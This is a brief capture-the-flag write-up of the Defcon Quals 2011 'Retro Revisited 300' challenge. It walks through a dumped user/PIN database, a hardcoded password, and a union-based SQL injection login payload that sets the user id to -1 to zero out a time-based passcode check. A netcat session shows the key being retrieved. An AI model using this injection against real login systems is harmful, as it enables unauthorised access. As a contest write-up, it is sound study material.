Destination: Defcon CTF Quals 2011 - Retro Revisited 300
Your tour guides: p4fg & fLa [vImeDhuSocHbarN]
Intro
=====
This is a very quick writeup, if you are from Sweden you can take a look at our team-name
and try to guess why now is not really the best time to write in-depth writeups... ;-)
Files
=====
File: rr3001d8bcd25d1849ac5a
unpacking this gives us:
retro300 (ELF 32-bit Intel 80386 for GNU/Linux 2.6.32)
auth.db (sqlite3 database)
# sqlite3 auth.db
SQLite version 3.5.9
Enter ".help" for instructions
sqlite> .dump users
BEGIN TRANSACTION;
CREATE TABLE users (id INTEGER PRIMARY KEY, user TEXT, pin TEXT);
INSERT INTO "users" VALUES(1,'aaron','7345');
INSERT INTO "users" VALUES(2,'dave','3245');
INSERT INTO "users" VALUES(3,'bob','8367');
INSERT INTO "users" VALUES(4,'joe','8305');
INSERT INTO "users" VALUES(5,'vulcan','2945');
INSERT INTO "users" VALUES(6,'merc','2345');
INSERT INTO "users" VALUES(7,'mars','3473');
INSERT INTO "users" VALUES(8,'jupi','1234');
INSERT INTO "users" VALUES(9,'jeff','1315');
COMMIT;
Where to start?
===============
In order to start playing with the service we need a password..
A quick peek in the binary using strings reveals a good candiate "letmeinpls"
which turns out is the password to continue.
We also notice from the strings output that the SQL statement for authentication
could be vulnerable for a SQL-injection attack, more on that later...
select id,pin from users where user='%s'
Binary analysis
===============
Firing up IDA lets us know a few things about the execution flow of this binary:
* Passcode needs to be 14 characters long.
* No sanity checking on the username is performed
* There are two hidden menu options: '8' and '9'.
'8' will display the key and '9' will display our favourite animal...
* The extra 10 characters in the passcode after the actual PIN is calculated
in a really annoying way based on the number of 10 minute increments since
2009-03-16 00:00:00 or something, and is then multiplied with the id in the db plus one
and padded to 10 characters with leading zeroes.
* Different errorcodes are printed based on how far into the code you get:
"Bad Username or Pin" will be displayed if you fail the username/pin db-check.
"Bad Username or Passcode" will be displayed if the 10 last characters in the passcode is wrong.
What about that SQL-injection?
==============================
After testing a bit we found that we could get past the first check
of username and four-digit PIN with a old-school SQL-injection.
using a username such as
randomcrap' union select 123,'1234
translates internally to
select id,pin from users where user='randomcrap' union select 123,'1234'
Using this and the different errormessages we found ourselves trying to crack the
last 10 digits which are time-based and user-id dependant.
The last 10 digits
==================
The time-based calculation for the last 10 digits in the passcode was a bit
annoying and time-consuming to crack so we decided to bypass it completely
with our newly found SQL-injection.
Remember the calculation is multiplied with the id in the db plus one.
Lessons to learn here:
(-1) + 1 = 0 (Thanks fLa for pointing that out)
0 x stupid_ddtek_algorithm_output = 0
Moment of triumph
=================
# nc pwn512.ddtek.biz 5500
letmeinpls
_____ ______ _____ _ _
__ ____ __ / ____| ____/ ____(_) | |
____/ /___/ / /____ / /__ | (___ | |__ | | _ __| |
/ __ / __ / __/ _ \/ //_/ \___ \| __|| | | |/ _` |
/ /_/ / /_/ / /_/ __/ ,< ____) | |___| |____| | (_| |
\__,_/\__,_/\__/\___/_/|_| |_____/|______\_____|_|\__,_| (beta)
( cause everyone is looking for a new provider right?!)
Username:x' union select -1,'0000
Passcode:00000000000000
DDTEK VPN console
Choose an option:
1: change pin
2: re-sync sec token
3: add user
4: change username
5: exit
8
lookheedsurLovesemsumAPT